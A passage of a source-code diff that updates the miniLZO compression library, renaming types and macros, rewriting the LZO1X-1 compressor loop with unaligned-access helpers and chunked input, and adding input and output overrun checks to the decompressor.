-lzo_adler32(lzo_uint32 adler, const lzo_bytep buf, lzo_uint len)
+LZO_PUBLIC(lzo_uint32_t)
+lzo_adler32(lzo_uint32_t adler, const lzo_bytep buf, lzo_uint len)
{
- lzo_uint32 s1 = adler & 0xffff;
- lzo_uint32 s2 = (adler >> 16) & 0xffff;
+ lzo_uint32_t s1 = adler & 0xffff;
+ lzo_uint32_t s2 = (adler >> 16) & 0xffff;
unsigned k;
if (buf == NULL)
@@ -2413,8 +4025,8 @@
LZOLIB_PUBLIC(int, lzo_hmemcmp) (const lzo_hvoid_p s1, const lzo_hvoid_p s2, lzo_hsize_t len)
{
#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMCMP)
- const lzo_hbyte_p p1 = (const lzo_hbyte_p) s1;
- const lzo_hbyte_p p2 = (const lzo_hbyte_p) s2;
+ const lzo_hbyte_p p1 = LZO_STATIC_CAST(const lzo_hbyte_p, s1);
+ const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, s2);
if __lzo_likely(len > 0) do
{
int d = *p1 - *p2;
@@ -2430,8 +4042,8 @@
LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemcpy) (lzo_hvoid_p dest, const lzo_hvoid_p src, lzo_hsize_t len)
{
#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMCPY)
- lzo_hbyte_p p1 = (lzo_hbyte_p) dest;
- const lzo_hbyte_p p2 = (const lzo_hbyte_p) src;
+ lzo_hbyte_p p1 = LZO_STATIC_CAST(lzo_hbyte_p, dest);
+ const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, src);
if (!(len > 0) || p1 == p2)
return dest;
do
@@ -2445,8 +4057,8 @@
LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemmove) (lzo_hvoid_p dest, const lzo_hvoid_p src, lzo_hsize_t len)
{
#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMMOVE)
- lzo_hbyte_p p1 = (lzo_hbyte_p) dest;
- const lzo_hbyte_p p2 = (const lzo_hbyte_p) src;
+ lzo_hbyte_p p1 = LZO_STATIC_CAST(lzo_hbyte_p, dest);
+ const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, src);
if (!(len > 0) || p1 == p2)
return dest;
if (p1 < p2)
@@ -2468,16 +4080,17 @@
return memmove(dest, src, len);
#endif
}
-LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemset) (lzo_hvoid_p s, int c, lzo_hsize_t len)
+LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemset) (lzo_hvoid_p s, int cc, lzo_hsize_t len)
{
#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMSET)
- lzo_hbyte_p p = (lzo_hbyte_p) s;
+ lzo_hbyte_p p = LZO_STATIC_CAST(lzo_hbyte_p, s);
+ unsigned char c = LZO_ITRUNC(unsigned char, cc);
if __lzo_likely(len > 0) do
- *p++ = (unsigned char) c;
+ *p++ = c;
while __lzo_likely(--len > 0);
return s;
#else
- return memset(s, c, len);
+ return memset(s, cc, len);
#endif
}
#undef LZOLIB_PUBLIC
@@ -2486,29 +4099,28 @@
#if !defined(__LZO_IN_MINILZO)
-#define ACC_WANT_ACC_CHK_CH 1
-#undef ACCCHK_ASSERT
+#define LZO_WANT_ACC_CHK_CH 1
+#undef LZOCHK_ASSERT
- ACCCHK_ASSERT_IS_SIGNED_T(lzo_int)
- ACCCHK_ASSERT_IS_UNSIGNED_T(lzo_uint)
-
- ACCCHK_ASSERT_IS_SIGNED_T(lzo_int32)
- ACCCHK_ASSERT_IS_UNSIGNED_T(lzo_uint32)
- ACCCHK_ASSERT((LZO_UINT32_C(1) << (int)(8*sizeof(LZO_UINT32_C(1))-1)) > 0)
- ACCCHK_ASSERT(sizeof(lzo_uint32) >= 4)
-
-#if !defined(__LZO_UINTPTR_T_IS_POINTER)
- ACCCHK_ASSERT_IS_UNSIGNED_T(lzo_uintptr_t)
+ LZOCHK_ASSERT((LZO_UINT32_C(1) << (int)(8*sizeof(LZO_UINT32_C(1))-1)) > 0)
+ LZOCHK_ASSERT_IS_SIGNED_T(lzo_int)
+ LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_uint)
+#if !(__LZO_UINTPTR_T_IS_POINTER)
+ LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_uintptr_t)
#endif
- ACCCHK_ASSERT(sizeof(lzo_uintptr_t) >= sizeof(lzo_voidp))
-
- ACCCHK_ASSERT_IS_UNSIGNED_T(lzo_xint)
- ACCCHK_ASSERT(sizeof(lzo_xint) >= sizeof(lzo_uint32))
- ACCCHK_ASSERT(sizeof(lzo_xint) >= sizeof(lzo_uint))
- ACCCHK_ASSERT(sizeof(lzo_xint) == sizeof(lzo_uint32) || sizeof(lzo_xint) == sizeof(lzo_uint))
+ LZOCHK_ASSERT(sizeof(lzo_uintptr_t) >= sizeof(lzo_voidp))
+ LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_xint)
#endif
-#undef ACCCHK_ASSERT
+#undef LZOCHK_ASSERT
+
+union lzo_config_check_union {
+ lzo_uint a[2];
+ unsigned char b[2*LZO_MAX(8,sizeof(lzo_uint))];
+#if defined(lzo_uint64_t)
+ lzo_uint64_t c[2];
+#endif
+};
#if 0
#define u2p(ptr,off) ((lzo_voidp) (((lzo_bytep)(lzo_voidp)(ptr)) + (off)))
@@ -2522,40 +4134,85 @@
LZO_PUBLIC(int)
_lzo_config_check(void)
{
- lzo_bool r = 1;
- union {
- lzo_xint a[2]; unsigned char b[2*sizeof(lzo_xint)];
- unsigned short x[2]; lzo_uint32 y[2]; lzo_uint z[2];
- } u;
+#if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030100ul && LZO_CC_CLANG < 0x030300ul))
+# if 0
+ volatile
+# endif
+#endif
+ union lzo_config_check_union u;
lzo_voidp p;
+ unsigned r = 1;
u.a[0] = u.a[1] = 0;
p = u2p(&u, 0);
r &= ((* (lzo_bytep) p) == 0);
-#if !defined(LZO_CFG_NO_CONFIG_CHECK)
-#if defined(LZO_ABI_BIG_ENDIAN)
+#if !(LZO_CFG_NO_CONFIG_CHECK)
+#if (LZO_ABI_BIG_ENDIAN)
u.a[0] = u.a[1] = 0; u.b[sizeof(lzo_uint) - 1] = 128;
p = u2p(&u, 0);
r &= ((* (lzo_uintp) p) == 128);
#endif
-#if defined(LZO_ABI_LITTLE_ENDIAN)
+#if (LZO_ABI_LITTLE_ENDIAN)
u.a[0] = u.a[1] = 0; u.b[0] = 128;
p = u2p(&u, 0);
r &= ((* (lzo_uintp) p) == 128);
#endif
-#if defined(LZO_UNALIGNED_OK_2)
u.a[0] = u.a[1] = 0;
- u.b[0] = 1; u.b[sizeof(unsigned short) + 1] = 2;
+ u.b[0] = 1; u.b[3] = 2;
p = u2p(&u, 1);
- r &= ((* (lzo_ushortp) p) == 0);
-#endif
-#if defined(LZO_UNALIGNED_OK_4)
+ r &= UA_GET_NE16(p) == 0;
+ r &= UA_GET_LE16(p) == 0;
+ u.b[1] = 128;
+ r &= UA_GET_LE16(p) == 128;
u.a[0] = u.a[1] = 0;
- u.b[0] = 3; u.b[sizeof(lzo_uint32) + 1] = 4;
+ u.b[0] = 3; u.b[5] = 4;
p = u2p(&u, 1);
- r &= ((* (lzo_uint32p) p) == 0);
+ r &= UA_GET_NE32(p) == 0;
+ r &= UA_GET_LE32(p) == 0;
+ u.b[1] = 128;
+ r &= UA_GET_LE32(p) == 128;
+#if defined(UA_GET_NE64)
+ u.c[0] = u.c[1] = 0;
+ u.b[0] = 5; u.b[9] = 6;
+ p = u2p(&u, 1);
+ u.c[0] = u.c[1] = 0;
+ r &= UA_GET_NE64(p) == 0;
+#if defined(UA_GET_LE64)
+ r &= UA_GET_LE64(p) == 0;
+ u.b[1] = 128;
+ r &= UA_GET_LE64(p) == 128;
#endif
#endif
+#if defined(lzo_bitops_ctlz32)
+ { unsigned i = 0; lzo_uint32_t v;
+ for (v = 1; v != 0 && r == 1; v <<= 1, i++) {
+ r &= lzo_bitops_ctlz32(v) == 31 - i;
+ r &= lzo_bitops_ctlz32_func(v) == 31 - i;
+ }}
+#endif
+#if defined(lzo_bitops_ctlz64)
+ { unsigned i = 0; lzo_uint64_t v;
+ for (v = 1; v != 0 && r == 1; v <<= 1, i++) {
+ r &= lzo_bitops_ctlz64(v) == 63 - i;
+ r &= lzo_bitops_ctlz64_func(v) == 63 - i;
+ }}
+#endif
+#if defined(lzo_bitops_cttz32)
+ { unsigned i = 0; lzo_uint32_t v;
+ for (v = 1; v != 0 && r == 1; v <<= 1, i++) {
+ r &= lzo_bitops_cttz32(v) == i;
+ r &= lzo_bitops_cttz32_func(v) == i;
+ }}
+#endif
+#if defined(lzo_bitops_cttz64)
+ { unsigned i = 0; lzo_uint64_t v;
+ for (v = 1; v != 0 && r == 1; v <<= 1, i++) {
+ r &= lzo_bitops_cttz64(v) == i;
+ r &= lzo_bitops_cttz64_func(v) == i;
+ }}
+#endif
+#endif
+ LZO_UNUSED_FUNC(lzo_bitops_unused_funcs);
return r == 1 ? LZO_E_OK : LZO_E_ERROR;
}
@@ -2569,11 +4226,11 @@
#if defined(__LZO_IN_MINILZO)
#elif (LZO_CC_MSC && ((_MSC_VER) < 700))
#else
-#define ACC_WANT_ACC_CHK_CH 1
-#undef ACCCHK_ASSERT
-#define ACCCHK_ASSERT(expr) LZO_COMPILE_TIME_ASSERT(expr)
+#define LZO_WANT_ACC_CHK_CH 1
+#undef LZOCHK_ASSERT
+#define LZOCHK_ASSERT(expr) LZO_COMPILE_TIME_ASSERT(expr)
#endif
-#undef ACCCHK_ASSERT
+#undef LZOCHK_ASSERT
if (v == 0)
return LZO_E_ERROR;
@@ -2581,7 +4238,7 @@
r = (s1 == -1 || s1 == (int) sizeof(short)) &&
(s2 == -1 || s2 == (int) sizeof(int)) &&
(s3 == -1 || s3 == (int) sizeof(long)) &&
- (s4 == -1 || s4 == (int) sizeof(lzo_uint32)) &&
+ (s4 == -1 || s4 == (int) sizeof(lzo_uint32_t)) &&
(s5 == -1 || s5 == (int) sizeof(lzo_uint)) &&
(s6 == -1 || s6 == (int) lzo_sizeof_dict_t) &&
(s7 == -1 || s7 == (int) sizeof(char *)) &&
@@ -2624,10 +4281,24 @@
#if !defined(MINILZO_CFG_SKIP_LZO1X_1_COMPRESS)
+#if 1 && defined(UA_GET_LE32)
+#undef LZO_DICT_USE_PTR
+#define LZO_DICT_USE_PTR 0
+#undef lzo_dict_t
+#define lzo_dict_t lzo_uint16_t
+#endif
+
#define LZO_NEED_DICT_H 1
+#ifndef D_BITS
#define D_BITS 14
+#endif
#define D_INDEX1(d,p) d = DM(DMUL(0x21,DX3(p,5,5,6)) >> 5)
#define D_INDEX2(d,p) d = (d & (D_MASK & 0x7ff)) ^ (D_HIGH | 0x1f)
+#if 1
+#define DINDEX(dv,p) DM(((DMUL(0x1824429d,dv)) >> (32-D_BITS)))
+#else
+#define DINDEX(dv,p) DM((dv) + ((dv) >> (32-D_BITS)))
+#endif
#ifndef __LZO_CONFIG1X_H
#define __LZO_CONFIG1X_H 1
@@ -2845,11 +4516,11 @@
#endif
#endif
-#if defined(LZO_DICT_USE_PTR)
+#if (LZO_DICT_USE_PTR)
# define DENTRY(p,in) (p)
# define GINDEX(m_pos,m_off,dict,dindex,in) m_pos = dict[dindex]
#else
-# define DENTRY(p,in) ((lzo_uint) ((p)-(in)))
+# define DENTRY(p,in) ((lzo_dict_t) pd(p, in))
# define GINDEX(m_pos,m_off,dict,dindex,in) m_off = dict[dindex]
#endif
@@ -2870,7 +4541,7 @@
#endif
-#if defined(LZO_DICT_USE_PTR)
+#if (LZO_DICT_USE_PTR)
#define LZO_CHECK_MPOS_DET(m_pos,m_off,in,ip,max_offset) \
(m_pos == NULL || (m_off = pd(ip, m_pos)) > max_offset)
@@ -2896,7 +4567,7 @@
#endif
-#if defined(LZO_DETERMINISTIC)
+#if (LZO_DETERMINISTIC)
# define LZO_CHECK_MPOS LZO_CHECK_MPOS_DET
#else
# define LZO_CHECK_MPOS LZO_CHECK_MPOS_NON_DET
@@ -2912,22 +4583,25 @@
#endif
-#define do_compress _lzo1x_1_do_compress
+#define LZO_DETERMINISTIC !(LZO_DICT_USE_PTR)
+
+#ifndef DO_COMPRESS
#define DO_COMPRESS lzo1x_1_compress
+#endif
#if 1 && defined(DO_COMPRESS) && !defined(do_compress)
-# define do_compress LZO_CPP_ECONCAT2(DO_COMPRESS,_core)
+# define do_compress LZO_PP_ECONCAT2(DO_COMPRESS,_core)
#endif
static __lzo_noinline lzo_uint
do_compress ( const lzo_bytep in , lzo_uint in_len,
lzo_bytep out, lzo_uintp out_len,
- lzo_voidp wrkmem )
+ lzo_uint ti, lzo_voidp wrkmem)
{
- register const lzo_bytep ip;
+ const lzo_bytep ip;
lzo_bytep op;
const lzo_bytep const in_end = in + in_len;
- const lzo_bytep const ip_end = in + in_len - M2_MAX_LEN - 5;
+ const lzo_bytep const ip_end = in + in_len - 20;
const lzo_bytep ii;
lzo_dict_p const dict = (lzo_dict_p) wrkmem;
@@ -2935,14 +4609,17 @@
ip = in;
ii = ip;
- ip += 4;
+ ip += ti < 4 ? 4 - ti : 0;
for (;;)
{
- register const lzo_bytep m_pos;
+ const lzo_bytep m_pos;
+#if !(LZO_DETERMINISTIC)
LZO_DEFINE_UNINITIALIZED_VAR(lzo_uint, m_off, 0);
lzo_uint m_len;
lzo_uint dindex;
-
+next:
+ if __lzo_unlikely(ip >= ip_end)
+ break;
DINDEX1(dindex,ip);
GINDEX(m_pos,m_off,dict,dindex,in);
if (LZO_CHECK_MPOS_NON_DET(m_pos,m_off,in,ip,M4_MAX_OFFSET))
@@ -2960,200 +4637,247 @@
goto literal;
try_match:
-#if 1 && defined(LZO_UNALIGNED_OK_2)
- if (* (const lzo_ushortp) (const lzo_voidp) m_pos != * (const lzo_ushortp) (const lzo_voidp) ip)
+#if (LZO_OPT_UNALIGNED32)
+ if (UA_GET_NE32(m_pos) != UA_GET_NE32(ip))
#else
- if (m_pos[0] != ip[0] || m_pos[1] != ip[1])
+ if (m_pos[0] != ip[0] || m_pos[1] != ip[1] || m_pos[2] != ip[2] || m_pos[3] != ip[3])
#endif
{
- }
- else
- {
- if __lzo_likely(m_pos[2] == ip[2])
- {
-#if 0
- if (m_off <= M2_MAX_OFFSET)
- goto match;
- if (lit <= 3)
- goto match;
- if (lit == 3)
- {
- assert(op - 2 > out); op[-2] |= LZO_BYTE(3);
- *op++ = *ii++; *op++ = *ii++; *op++ = *ii++;
- goto code_match;
- }
- if (m_pos[3] == ip[3])
-#endif
- goto match;
- }
- else
- {
-#if 0
-#if 0
- if (m_off <= M1_MAX_OFFSET && lit > 0 && lit <= 3)
-#else
- if (m_off <= M1_MAX_OFFSET && lit == 3)
-#endif
- {
- register lzo_uint t;
-
- t = lit;
- assert(op - 2 > out); op[-2] |= LZO_BYTE(t);
- do *op++ = *ii++; while (--t > 0);
- assert(ii == ip);
- m_off -= 1;
- *op++ = LZO_BYTE(M1_MARKER | ((m_off & 3) << 2));
- *op++ = LZO_BYTE(m_off >> 2);
- ip += 2;
- goto match_done;
- }
-#endif
- }
- }
-
literal:
+ UPDATE_I(dict,0,dindex,ip,in);
+ ip += 1 + ((ip - ii) >> 5);
+ continue;
+ }
UPDATE_I(dict,0,dindex,ip,in);
- ++ip;
+#else
+ lzo_uint m_off;
+ lzo_uint m_len;
+ {
+ lzo_uint32_t dv;
+ lzo_uint dindex;
+literal:
+ ip += 1 + ((ip - ii) >> 5);
+next:
if __lzo_unlikely(ip >= ip_end)
break;
- continue;
-
-match:
+ dv = UA_GET_LE32(ip);
+ dindex = DINDEX(dv,ip);
+ GINDEX(m_off,m_pos,in+dict,dindex,in);
UPDATE_I(dict,0,dindex,ip,in);
- if (pd(ip,ii) > 0)
- {
- register lzo_uint t = pd(ip,ii);
+ if __lzo_unlikely(dv != UA_GET_LE32(m_pos))
+ goto literal;
+ }
+#endif
+ ii -= ti; ti = 0;
+ {
+ lzo_uint t = pd(ip,ii);
+ if (t != 0)
+ {
if (t <= 3)
{
- assert(op - 2 > out);
- op[-2] |= LZO_BYTE(t);
+ op[-2] = LZO_BYTE(op[-2] | t);
+#if (LZO_OPT_UNALIGNED32)
+ UA_COPY4(op, ii);
+ op += t;
+#else
+ { do *op++ = *ii++; while (--t > 0); }
+#endif
}
- else if (t <= 18)
+#if (LZO_OPT_UNALIGNED32) || (LZO_OPT_UNALIGNED64)
+ else if (t <= 16)
+ {
*op++ = LZO_BYTE(t - 3);
+ UA_COPY8(op, ii);
+ UA_COPY8(op+8, ii+8);
+ op += t;
+ }
+#endif
else
{
- register lzo_uint tt = t - 18;
-
- *op++ = 0;
- while (tt > 255)
+ if (t <= 18)
+ *op++ = LZO_BYTE(t - 3);
+ else
{
- tt -= 255;
+ lzo_uint tt = t - 18;
*op++ = 0;
+ while __lzo_unlikely(tt > 255)
+ {
+ tt -= 255;
+ UA_SET1(op, 0);
+ op++;
+ }
+ assert(tt > 0);
+ *op++ = LZO_BYTE(tt);
}
- assert(tt > 0);
- *op++ = LZO_BYTE(tt);
+#if (LZO_OPT_UNALIGNED32) || (LZO_OPT_UNALIGNED64)
+ do {
+ UA_COPY8(op, ii);
+ UA_COPY8(op+8, ii+8);
+ op += 16; ii += 16; t -= 16;
+ } while (t >= 16); if (t > 0)
+#endif
+ { do *op++ = *ii++; while (--t > 0); }
}
- do *op++ = *ii++; while (--t > 0);
}
-
- assert(ii == ip);
- ip += 3;
- if (m_pos[3] != *ip++ || m_pos[4] != *ip++ || m_pos[5] != *ip++ ||
- m_pos[6] != *ip++ || m_pos[7] != *ip++ || m_pos[8] != *ip++
-#ifdef LZO1Y
- || m_pos[ 9] != *ip++ || m_pos[10] != *ip++ || m_pos[11] != *ip++
- || m_pos[12] != *ip++ || m_pos[13] != *ip++ || m_pos[14] != *ip++
-#endif
- )
+ }
+ m_len = 4;
{
- --ip;
- m_len = pd(ip, ii);
- assert(m_len >= 3); assert(m_len <= M2_MAX_LEN);
-
- if (m_off <= M2_MAX_OFFSET)
- {
- m_off -= 1;
-#if defined(LZO1X)
- *op++ = LZO_BYTE(((m_len - 1) << 5) | ((m_off & 7) << 2));
- *op++ = LZO_BYTE(m_off >> 3);
-#elif defined(LZO1Y)
- *op++ = LZO_BYTE(((m_len + 1) << 4) | ((m_off & 3) << 2));
- *op++ = LZO_BYTE(m_off >> 2);
+#if (LZO_OPT_UNALIGNED64)
+ lzo_uint64_t v;
+ v = UA_GET_NE64(ip + m_len) ^ UA_GET_NE64(m_pos + m_len);
+ if __lzo_unlikely(v == 0) {
+ do {
+ m_len += 8;
+ v = UA_GET_NE64(ip + m_len) ^ UA_GET_NE64(m_pos + m_len);
+ if __lzo_unlikely(ip + m_len >= ip_end)
+ goto m_len_done;
+ } while (v == 0);
+ }
+#if (LZO_ABI_BIG_ENDIAN) && defined(lzo_bitops_ctlz64)
+ m_len += lzo_bitops_ctlz64(v) / CHAR_BIT;
+#elif (LZO_ABI_BIG_ENDIAN)
+ if ((v >> (64 - CHAR_BIT)) == 0) do {
+ v <<= CHAR_BIT;
+ m_len += 1;
+ } while ((v >> (64 - CHAR_BIT)) == 0);
+#elif (LZO_ABI_LITTLE_ENDIAN) && defined(lzo_bitops_cttz64)
+ m_len += lzo_bitops_cttz64(v) / CHAR_BIT;
+#elif (LZO_ABI_LITTLE_ENDIAN)
+ if ((v & UCHAR_MAX) == 0) do {
+ v >>= CHAR_BIT;
+ m_len += 1;
+ } while ((v & UCHAR_MAX) == 0);
+#else
+ if (ip[m_len] == m_pos[m_len]) do {
+ m_len += 1;
+ } while (ip[m_len] == m_pos[m_len]);
#endif
- }
- else if (m_off <= M3_MAX_OFFSET)
- {
- m_off -= 1;
+#elif (LZO_OPT_UNALIGNED32)
+ lzo_uint32_t v;
+ v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len);
+ if __lzo_unlikely(v == 0) {
+ do {
+ m_len += 4;
+ v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len);
+ if (v != 0)
+ break;
+ m_len += 4;
+ v = UA_GET_NE32(ip + m_len) ^ UA_GET_NE32(m_pos + m_len);
+ if __lzo_unlikely(ip + m_len >= ip_end)
+ goto m_len_done;
+ } while (v == 0);
+ }
+#if (LZO_ABI_BIG_ENDIAN) && defined(lzo_bitops_ctlz32)
+ m_len += lzo_bitops_ctlz32(v) / CHAR_BIT;
+#elif (LZO_ABI_BIG_ENDIAN)
+ if ((v >> (32 - CHAR_BIT)) == 0) do {
+ v <<= CHAR_BIT;
+ m_len += 1;
+ } while ((v >> (32 - CHAR_BIT)) == 0);
+#elif (LZO_ABI_LITTLE_ENDIAN) && defined(lzo_bitops_cttz32)
+ m_len += lzo_bitops_cttz32(v) / CHAR_BIT;
+#elif (LZO_ABI_LITTLE_ENDIAN)
+ if ((v & UCHAR_MAX) == 0) do {
+ v >>= CHAR_BIT;
+ m_len += 1;
+ } while ((v & UCHAR_MAX) == 0);
+#else
+ if (ip[m_len] == m_pos[m_len]) do {
+ m_len += 1;
+ } while (ip[m_len] == m_pos[m_len]);
+#endif
+#else
+ if __lzo_unlikely(ip[m_len] == m_pos[m_len]) {
+ do {
+ m_len += 1;
+ if (ip[m_len] != m_pos[m_len])
+ break;
+ m_len += 1;
+ if (ip[m_len] != m_pos[m_len])
+ break;
+ m_len += 1;
+ if (ip[m_len] != m_pos[m_len])
+ break;
+ m_len += 1;
+ if (ip[m_len] != m_pos[m_len])
+ break;
+ m_len += 1;
+ if (ip[m_len] != m_pos[m_len])
+ break;
+ m_len += 1;
+ if (ip[m_len] != m_pos[m_len])
+ break;
+ m_len += 1;
+ if (ip[m_len] != m_pos[m_len])
+ break;
+ m_len += 1;
+ if __lzo_unlikely(ip + m_len >= ip_end)
+ goto m_len_done;
+ } while (ip[m_len] == m_pos[m_len]);
+ }
+#endif
+ }
+m_len_done:
+ m_off = pd(ip,m_pos);
+ ip += m_len;
+ ii = ip;
+ if (m_len <= M2_MAX_LEN && m_off <= M2_MAX_OFFSET)
+ {
+ m_off -= 1;
+#if defined(LZO1X)
+ *op++ = LZO_BYTE(((m_len - 1) << 5) | ((m_off & 7) << 2));
+ *op++ = LZO_BYTE(m_off >> 3);
+#elif defined(LZO1Y)
+ *op++ = LZO_BYTE(((m_len + 1) << 4) | ((m_off & 3) << 2));
+ *op++ = LZO_BYTE(m_off >> 2);
+#endif
+ }
+ else if (m_off <= M3_MAX_OFFSET)
+ {
+ m_off -= 1;
+ if (m_len <= M3_MAX_LEN)
*op++ = LZO_BYTE(M3_MARKER | (m_len - 2));
- goto m3_m4_offset;
- }
else
-#if defined(LZO1X)
{
- m_off -= 0x4000;
- assert(m_off > 0); assert(m_off <= 0x7fff);
- *op++ = LZO_BYTE(M4_MARKER |
- ((m_off & 0x4000) >> 11) | (m_len - 2));
- goto m3_m4_offset;
+ m_len -= M3_MAX_LEN;
+ *op++ = M3_MARKER | 0;
+ while __lzo_unlikely(m_len > 255)
+ {
+ m_len -= 255;
+ UA_SET1(op, 0);
+ op++;
+ }
+ *op++ = LZO_BYTE(m_len);
}
-#elif defined(LZO1Y)
- goto m4_match;
-#endif
+ *op++ = LZO_BYTE(m_off << 2);
+ *op++ = LZO_BYTE(m_off >> 6);
}
else
{
- {
- const lzo_bytep end = in_end;
- const lzo_bytep m = m_pos + M2_MAX_LEN + 1;
- while (ip < end && *m == *ip)
- m++, ip++;
- m_len = pd(ip, ii);
- }
- assert(m_len > M2_MAX_LEN);
-
- if (m_off <= M3_MAX_OFFSET)
- {
- m_off -= 1;
- if (m_len <= 33)
- *op++ = LZO_BYTE(M3_MARKER | (m_len - 2));
- else
- {
- m_len -= 33;
- *op++ = M3_MARKER | 0;
- goto m3_m4_len;
- }
- }
+ m_off -= 0x4000;
+ if (m_len <= M4_MAX_LEN)
+ *op++ = LZO_BYTE(M4_MARKER | ((m_off >> 11) & 8) | (m_len - 2));
else
{
-#if defined(LZO1Y)
-m4_match:
-#endif
- m_off -= 0x4000;
- assert(m_off > 0); assert(m_off <= 0x7fff);
- if (m_len <= M4_MAX_LEN)
- *op++ = LZO_BYTE(M4_MARKER |
- ((m_off & 0x4000) >> 11) | (m_len - 2));
- else
+ m_len -= M4_MAX_LEN;
+ *op++ = LZO_BYTE(M4_MARKER | ((m_off >> 11) & 8));
+ while __lzo_unlikely(m_len > 255)
{
- m_len -= M4_MAX_LEN;
- *op++ = LZO_BYTE(M4_MARKER | ((m_off & 0x4000) >> 11));
-m3_m4_len:
- while (m_len > 255)
- {
- m_len -= 255;
- *op++ = 0;
- }
- assert(m_len > 0);
- *op++ = LZO_BYTE(m_len);
+ m_len -= 255;
+ UA_SET1(op, 0);
+ op++;
}
+ *op++ = LZO_BYTE(m_len);
}
-
-m3_m4_offset:
- *op++ = LZO_BYTE((m_off & 63) << 2);
+ *op++ = LZO_BYTE(m_off << 2);
*op++ = LZO_BYTE(m_off >> 6);
}
-
-#if 0
-match_done:
-#endif
- ii = ip;
- if __lzo_unlikely(ip >= ip_end)
- break;
+ goto next;
}
*out_len = pd(op, out);
- return pd(in_end,ii);
+ return pd(in_end,ii-ti);
}
LZO_PUBLIC(int)
@@ -3161,16 +4885,30 @@
lzo_bytep out, lzo_uintp out_len,
lzo_voidp wrkmem )
{
+ const lzo_bytep ip = in;
lzo_bytep op = out;
- lzo_uint t;
+ lzo_uint l = in_len;
+ lzo_uint t = 0;
- if __lzo_unlikely(in_len <= M2_MAX_LEN + 5)
- t = in_len;
- else
+ while (l > 20)
{
- t = do_compress(in,in_len,op,out_len,wrkmem);
+ lzo_uint ll = l;
+ lzo_uintptr_t ll_end;
+#if 0 || (LZO_DETERMINISTIC)
+ ll = LZO_MIN(ll, 49152);
+#endif
+ ll_end = (lzo_uintptr_t)ip + ll;
+ if ((ll_end + ((t + ll) >> 5)) <= ll_end || (const lzo_bytep)(ll_end + ((t + ll) >> 5)) <= ip + ll)
+ break;
+#if (LZO_DETERMINISTIC)
+ lzo_memset(wrkmem, 0, ((lzo_uint)1 << D_BITS) * sizeof(lzo_dict_t));
+#endif
+ t = do_compress(ip,ll,op,out_len,t,wrkmem);
+ ip += ll;
op += *out_len;
+ l -= ll;
}
+ t += l;
if (t > 0)
{
@@ -3179,7 +4917,7 @@
if (op == out && t <= 238)
*op++ = LZO_BYTE(17 + t);
else if (t <= 3)
- op[-2] |= LZO_BYTE(t);
+ op[-2] = LZO_BYTE(op[-2] | t);
else if (t <= 18)
*op++ = LZO_BYTE(t - 3);
else
@@ -3190,12 +4928,14 @@
while (tt > 255)
{
tt -= 255;
- *op++ = 0;
+ UA_SET1(op, 0);
+ op++;
}
assert(tt > 0);
*op++ = LZO_BYTE(tt);
}
- do *op++ = *ii++; while (--t > 0);
+ UA_COPYN(op, ii, t);
+ op += t;
}
*op++ = M4_MARKER | 1;
@@ -3232,10 +4972,13 @@
#undef TEST_IP
#undef TEST_OP
+#undef TEST_IP_AND_TEST_OP
#undef TEST_LB
#undef TEST_LBO
#undef NEED_IP
#undef NEED_OP
+#undef TEST_IV
+#undef TEST_OV
#undef HAVE_TEST_IP
#undef HAVE_TEST_OP
#undef HAVE_NEED_IP
@@ -3250,6 +4993,7 @@
# if (LZO_TEST_OVERRUN_INPUT >= 2)
# define NEED_IP(x) \
if ((lzo_uint)(ip_end - ip) < (lzo_uint)(x)) goto input_overrun
+# define TEST_IV(x) if ((x) > (lzo_uint)0 - (511)) goto input_overrun
# endif
#endif
@@ -3261,12 +5005,13 @@
# undef TEST_OP
# define NEED_OP(x) \
if ((lzo_uint)(op_end - op) < (lzo_uint)(x)) goto output_overrun
+# define TEST_OV(x) if ((x) > (lzo_uint)0 - (511)) goto output_overrun
# endif
#endif
#if defined(LZO_TEST_OVERRUN_LOOKBEHIND)
-# define TEST_LB(m_pos) if (m_pos < out || m_pos >= op) goto lookbehind_overrun
-# define TEST_LBO(m_pos,o) if (m_pos < out || m_pos >= op - (o)) goto lookbehind_overrun
+# define TEST_LB(m_pos) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op)) goto lookbehind_overrun
+# define TEST_LBO(m_pos,o) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op-(o))) goto lookbehind_overrun
#else
# define TEST_LB(m_pos) ((void) 0)
# define TEST_LBO(m_pos,o) ((void) 0)
@@ -3287,15 +5032,27 @@
# define TEST_OP 1
#endif
+#if defined(HAVE_TEST_IP) && defined(HAVE_TEST_OP)
+# define TEST_IP_AND_TEST_OP (TEST_IP && TEST_OP)
+#elif defined(HAVE_TEST_IP)
+# define TEST_IP_AND_TEST_OP TEST_IP
+#elif defined(HAVE_TEST_OP)
+# define TEST_IP_AND_TEST_OP TEST_OP
+#else
+# define TEST_IP_AND_TEST_OP 1
+#endif
+
#if defined(NEED_IP)
# define HAVE_NEED_IP 1
#else
# define NEED_IP(x) ((void) 0)
+# define TEST_IV(x) ((void) 0)
#endif
#if defined(NEED_OP)
# define HAVE_NEED_OP 1
#else
# define NEED_OP(x) ((void) 0)
+# define TEST_OV(x) ((void) 0)
#endif
#if defined(HAVE_TEST_IP) || defined(HAVE_NEED_IP)
@@ -3312,14 +5069,14 @@
lzo_voidp wrkmem )
#endif
{
- register lzo_bytep op;
- register const lzo_bytep ip;
- register lzo_uint t;
+ lzo_bytep op;
+ const lzo_bytep ip;
+ lzo_uint t;
#if defined(COPY_DICT)
lzo_uint m_off;
const lzo_bytep dict_end;
#else
- register const lzo_bytep m_pos;
+ const lzo_bytep m_pos;
#endif
const lzo_bytep const ip_end = in + in_len;
